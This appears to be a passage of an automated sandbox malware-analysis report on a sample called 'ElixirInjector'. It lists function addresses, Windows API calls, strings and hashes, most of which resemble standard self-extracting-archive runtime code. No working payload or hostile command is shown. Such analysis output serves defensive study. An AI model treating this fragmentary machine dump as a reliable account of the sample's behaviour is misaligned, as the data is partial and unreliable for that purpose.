                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: _free$ErrorFreeHeapLast
                                                                                              • String ID:
                                                                                              • API String ID: 776569668-0
                                                                                              • Opcode ID: 0da12c48a9d3e672afc9557af92214f7d019cd2ac9deb79c5c3a3a9c9489f287
                                                                                              • Instruction ID: 0efb3bcb69d33209bf6e93df14c2a6764260f66616baeea16443cbd6ab81c73e
                                                                                              • Opcode Fuzzy Hash: 0da12c48a9d3e672afc9557af92214f7d019cd2ac9deb79c5c3a3a9c9489f287
                                                                                              • Instruction Fuzzy Hash: 2711A476510209AFCB01EF54CC42CD93BB5EF147A0F5154A1FA088F262DE7ADE52AB84
                                                                                              Function 00F32E31 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
                                                                                              • String ID: csm$csm$csm
                                                                                              • API String ID: 322700389-393685449
                                                                                              • Opcode ID: 24d0cf5b57c7042bc6b9974e18163865c7e582974041bf09c88a4a862c144f0a
                                                                                              • Instruction ID: b621529cd8ca9060595edbc7713b0e1f8c8bcfec558cb44efe8dedc4a3ca13d9
                                                                                              • Opcode Fuzzy Hash: 24d0cf5b57c7042bc6b9974e18163865c7e582974041bf09c88a4a862c144f0a
                                                                                              • Instruction Fuzzy Hash: C5B13771D00209EFCF29EFA4CC819AEBBB5BF14334F14415AE8156B212D739DA51EBA1
                                                                                              Function 00F16FA5 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 134COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog.LIBCMT ref: 00F16FAA
                                                                                              • _wcslen.LIBCMT ref: 00F17013
                                                                                              • _wcslen.LIBCMT ref: 00F17084
                                                                                                • Part of subcall function 00F17A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00F17AAB
                                                                                                • Part of subcall function 00F17A9C: GetLastError.KERNEL32 ref: 00F17AF1
                                                                                                • Part of subcall function 00F17A9C: CloseHandle.KERNEL32(?), ref: 00F17B00
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: _wcslen$CloseCurrentErrorH_prologHandleLastProcess
                                                                                              • String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
                                                                                              • API String ID: 3122303884-3508440684
                                                                                              • Opcode ID: ca7c4666cadd71779400ed08c828de31df43a90efdf0235fbbdba522ba0308ac
                                                                                              • Instruction ID: d63d11b517597e2720fa71a888e3680d1981eec1bb5ec3c3fc610f6cbc96ec09
                                                                                              • Opcode Fuzzy Hash: ca7c4666cadd71779400ed08c828de31df43a90efdf0235fbbdba522ba0308ac
                                                                                              • Instruction Fuzzy Hash: 6E41E5B1D08344BAEB20F7709C82FEEB77C9F04314F004455FA59A6182D778AAC8BB61
                                                                                              Function 00F2B5C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 00F11316: GetDlgItem.USER32(00000000,00003021), ref: 00F1135A
                                                                                                • Part of subcall function 00F11316: SetWindowTextW.USER32(00000000,00F435F4), ref: 00F11370
                                                                                              • EndDialog.USER32(?,00000001), ref: 00F2B610
                                                                                              • SendMessageW.USER32(?,00000080,00000001,?), ref: 00F2B637
                                                                                              • SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00F2B650
                                                                                              • SetWindowTextW.USER32(?,?), ref: 00F2B661
                                                                                              • GetDlgItem.USER32(?,00000065), ref: 00F2B66A
                                                                                              • SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00F2B67E
                                                                                              • SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00F2B694
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: MessageSend$Item$TextWindow$Dialog
                                                                                              • String ID: LICENSEDLG
                                                                                              • API String ID: 3214253823-2177901306
                                                                                              • Opcode ID: dfaff72213ce4d9fa71fd306480976b06ae507825ca73b1ac7384deebb61d46a
                                                                                              • Instruction ID: a32e072c43250009f39f8df8ac970e2c5f495e1458095b3e49638f6f97d6d62a
                                                                                              • Opcode Fuzzy Hash: dfaff72213ce4d9fa71fd306480976b06ae507825ca73b1ac7384deebb61d46a
                                                                                              • Instruction Fuzzy Hash: 3921F73260422DBBD2119FA5FC49F7B3F6DFB4AB55F010014FA04E21A1CB969A41F632
                                                                                              Function 00F2FD10 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,156392B9,00000001,00000000,00000000,?,?,00F1AF6C,ROOT\CIMV2), ref: 00F2FD99
                                                                                              • MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?,00F1AF6C,ROOT\CIMV2), ref: 00F2FE14
                                                                                              • SysAllocString.OLEAUT32(00000000), ref: 00F2FE1F
                                                                                              • _com_issue_error.COMSUPP ref: 00F2FE48
                                                                                              • _com_issue_error.COMSUPP ref: 00F2FE52
                                                                                              • GetLastError.KERNEL32(80070057,156392B9,00000001,00000000,00000000,?,?,00F1AF6C,ROOT\CIMV2), ref: 00F2FE57
                                                                                              • _com_issue_error.COMSUPP ref: 00F2FE6A
                                                                                              • GetLastError.KERNEL32(00000000,?,?,00F1AF6C,ROOT\CIMV2), ref: 00F2FE80
                                                                                              • _com_issue_error.COMSUPP ref: 00F2FE93
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
                                                                                              • String ID:
                                                                                              • API String ID: 1353541977-0
                                                                                              • Opcode ID: d93ddec8dd606b214b60015aea958572becf3ed0a44c53b95215f828b4e1c36a
                                                                                              • Instruction ID: 93bb9164629414f2f467d4ce5496af5b35ecace461e42e044ac8b7fde7c284fa
                                                                                              • Opcode Fuzzy Hash: d93ddec8dd606b214b60015aea958572becf3ed0a44c53b95215f828b4e1c36a
                                                                                              • Instruction Fuzzy Hash: 5D412E71E10629ABC711DF64EC45BAEBBB8EB48720F10423AF805E7251D7349904E7A1
                                                                                              Function 00F1AF24 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 210COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog
                                                                                              • String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
                                                                                              • API String ID: 3519838083-3505469590
                                                                                              • Opcode ID: eef75c7a42b0824bef2fb82927140890c5368893f2a1f7037248991eb27f7622
                                                                                              • Instruction ID: 34fba325fcb2a2ebfd978f778589ea3fd3c6b7ff1022d5df58e0d6c8981be6f0
                                                                                              • Opcode Fuzzy Hash: eef75c7a42b0824bef2fb82927140890c5368893f2a1f7037248991eb27f7622
                                                                                              • Instruction Fuzzy Hash: 8C717E75A00219EFDB14DFA4CC959AEBBB9FF49710B14015DE912A72A0CB70AE42EB50
                                                                                              Function 00F19382 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135fileCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog.LIBCMT ref: 00F19387
                                                                                              • GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00F193AA
                                                                                              • GetShortPathNameW.KERNEL32(?,?,00000800), ref: 00F193C9
                                                                                                • Part of subcall function 00F1C29A: _wcslen.LIBCMT ref: 00F1C2A2
                                                                                                • Part of subcall function 00F21FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,00F1C116,00000000,.exe,?,?,00000800,?,?,?,00F28E3C), ref: 00F21FD1
                                                                                              • _swprintf.LIBCMT ref: 00F19465
                                                                                                • Part of subcall function 00F14092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00F140A5
                                                                                              • MoveFileW.KERNEL32(?,?), ref: 00F194D4
                                                                                              • MoveFileW.KERNEL32(?,?), ref: 00F19514
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen
                                                                                              • String ID: rtmp%d
                                                                                              • API String ID: 3726343395-3303766350
                                                                                              • Opcode ID: b6100f739c6a7556e6d73115462e750b627d7f40e74b9a1d0505d1133f38e877
                                                                                              • Instruction ID: f29e8b49ddb8b653c177c60397a88558c9d27471e76047beb8b090d9eb84b4cd
                                                                                              • Opcode Fuzzy Hash: b6100f739c6a7556e6d73115462e750b627d7f40e74b9a1d0505d1133f38e877
                                                                                              • Instruction Fuzzy Hash: 4841A97190426866DF21EBA0CC65EDE737DAF55340F0448A5B609F3052EB7C8BC9EBA0
                                                                                              Function 00F21218 Relevance: 12.1, APIs: 8, Instructions: 125timeCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __aulldiv.LIBCMT ref: 00F2122E
                                                                                                • Part of subcall function 00F1B146: GetVersionExW.KERNEL32(?), ref: 00F1B16B
                                                                                              • FileTimeToLocalFileTime.KERNEL32(00000003,00000000,00000003,?,00000064,00000000,00000000,?), ref: 00F21251
                                                                                              • FileTimeToSystemTime.KERNEL32(00000003,?,00000003,?,00000064,00000000,00000000,?), ref: 00F21263
                                                                                              • SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00F21274
                                                                                              • SystemTimeToFileTime.KERNEL32(?,?), ref: 00F21284
                                                                                              • SystemTimeToFileTime.KERNEL32(?,?), ref: 00F21294
                                                                                              • FileTimeToSystemTime.KERNEL32(?,?,?), ref: 00F212CF
                                                                                              • __aullrem.LIBCMT ref: 00F21379
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
                                                                                              • String ID:
                                                                                              • API String ID: 1247370737-0
                                                                                              • Opcode ID: bda79567c2eecb59eb5cf1c2be72336578992f8ca79e7e5c524336476d05d404
                                                                                              • Instruction ID: b301ed0fc8c218887fda28495778bc230e2f556e7230259382ef2bfadb946891
                                                                                              • Opcode Fuzzy Hash: bda79567c2eecb59eb5cf1c2be72336578992f8ca79e7e5c524336476d05d404
                                                                                              • Instruction Fuzzy Hash: D04169B1908305AFC710DF65D88096BBBF9FF98314F00892EF996C2600E738E908DB51
                                                                                              Function 00F12210 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 468COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _swprintf.LIBCMT ref: 00F12536
                                                                                                • Part of subcall function 00F14092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00F140A5
                                                                                                • Part of subcall function 00F205DA: _wcslen.LIBCMT ref: 00F205E0
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: __vswprintf_c_l_swprintf_wcslen
                                                                                              • String ID: ;%u$x%u$xc%u
                                                                                              • API String ID: 3053425827-2277559157
                                                                                              • Opcode ID: c31b6e53955c3f742b6e088e787c76beb40f6987f6823ea58c5e655446203f87
                                                                                              • Instruction ID: 4e25023b4fcf0032c32967c0b1e50186492e51658246d38c5a4f23f84046df7e
                                                                                              • Opcode Fuzzy Hash: c31b6e53955c3f742b6e088e787c76beb40f6987f6823ea58c5e655446203f87
                                                                                              • Instruction Fuzzy Hash: 17F13A71A043809BDB25DBA4C8D5BFE77956F90310F08056DFC869B283CB689DC5E7A2
                                                                                              Function 00F29CFE Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: _wcslen
                                                                                              • String ID: </p>$</style>$<br>$<style>$>
                                                                                              • API String ID: 176396367-3568243669
                                                                                              • Opcode ID: 48c815aaf94c9b0875fe766de27459e595d1462f82970d75d32600f40106bee5
                                                                                              • Instruction ID: bb79ce8fe2d2ce952e8e33044382c235743ad7869b5a803adfb3bafcb6133836
                                                                                              • Opcode Fuzzy Hash: 48c815aaf94c9b0875fe766de27459e595d1462f82970d75d32600f40106bee5
                                                                                              • Instruction Fuzzy Hash: 54512866E0973291DB309A15BC2177673E0EFA1770F99041AFDC19B1C0FAE58C81B261
                                                                                              Function 00F3F68D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00F3FE02,00000000,00000000,00000000,00000000,00000000,00F3529F), ref: 00F3F6CF
                                                                                              • __fassign.LIBCMT ref: 00F3F74A
                                                                                              • __fassign.LIBCMT ref: 00F3F765
                                                                                              • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 00F3F78B
                                                                                              • WriteFile.KERNEL32(?,00000000,00000000,00F3FE02,00000000,?,?,?,?,?,?,?,?,?,00F3FE02,00000000), ref: 00F3F7AA
                                                                                              • WriteFile.KERNEL32(?,00000000,00000001,00F3FE02,00000000,?,?,?,?,?,?,?,?,?,00F3FE02,00000000), ref: 00F3F7E3
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                                                              • String ID:
                                                                                              • API String ID: 1324828854-0
                                                                                              • Opcode ID: 01fbe760782e9c255811200bb0e3d86532cc2b215338223cff08cd24c5fc0706
                                                                                              • Instruction ID: 936f8740b01906f887beacb0922ed9d3be2f159faa268145f67d008c850b2173
                                                                                              • Opcode Fuzzy Hash: 01fbe760782e9c255811200bb0e3d86532cc2b215338223cff08cd24c5fc0706
                                                                                              • Instruction Fuzzy Hash: FE51E8B1D00209AFCB14CFA8DC41AEEBBF4FF09320F14416AE955E7251D770A944DBA0
                                                                                              Function 00F32900 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _ValidateLocalCookies.LIBCMT ref: 00F32937
                                                                                              • ___except_validate_context_record.LIBVCRUNTIME ref: 00F3293F
                                                                                              • _ValidateLocalCookies.LIBCMT ref: 00F329C8
                                                                                              • __IsNonwritableInCurrentImage.LIBCMT ref: 00F329F3
                                                                                              • _ValidateLocalCookies.LIBCMT ref: 00F32A48
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                                                              • String ID: csm
                                                                                              • API String ID: 1170836740-1018135373
                                                                                              • Opcode ID: 6dc6295ac8e9b4102f90c44b454027e377161637a4e90a3be2a4c5c944ede15b
                                                                                              • Instruction ID: f2e2e9780d03696436f88736776ae62ce8ade58feed4a16bdfc131d490be7f28
                                                                                              • Opcode Fuzzy Hash: 6dc6295ac8e9b4102f90c44b454027e377161637a4e90a3be2a4c5c944ede15b
                                                                                              • Instruction Fuzzy Hash: 0F418034E01218ABCF10DF68CC85A9EBBB5AF45334F148055E815AB392D779AA05EBA1
                                                                                              Function 00F29ED5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ShowWindow.USER32(?,00000000), ref: 00F29EEE
                                                                                              • GetWindowRect.USER32(?,00000000), ref: 00F29F44
                                                                                              • ShowWindow.USER32(?,00000005,00000000), ref: 00F29FDB
                                                                                              • SetWindowTextW.USER32(?,00000000), ref: 00F29FE3
                                                                                              • ShowWindow.USER32(00000000,00000005), ref: 00F29FF9
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$Show$RectText
                                                                                              • String ID: RarHtmlClassName
                                                                                              • API String ID: 3937224194-1658105358
                                                                                              • Opcode ID: b8050f09def865a1581ecf92ac47b161b55c46c1fc648e1baa48390479015d1d
                                                                                              • Instruction ID: a9badee12779352d6a5fe7820fbc2608bbacfa8253af49cf26ce8b64ebd0289d
                                                                                              • Opcode Fuzzy Hash: b8050f09def865a1581ecf92ac47b161b55c46c1fc648e1baa48390479015d1d
                                                                                              • Instruction Fuzzy Hash: A141E632808324FFCB219F64EC48B5B7BA8FF48711F004559F8499A066CB74D954FB66
                                                                                              Function 00F29955 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
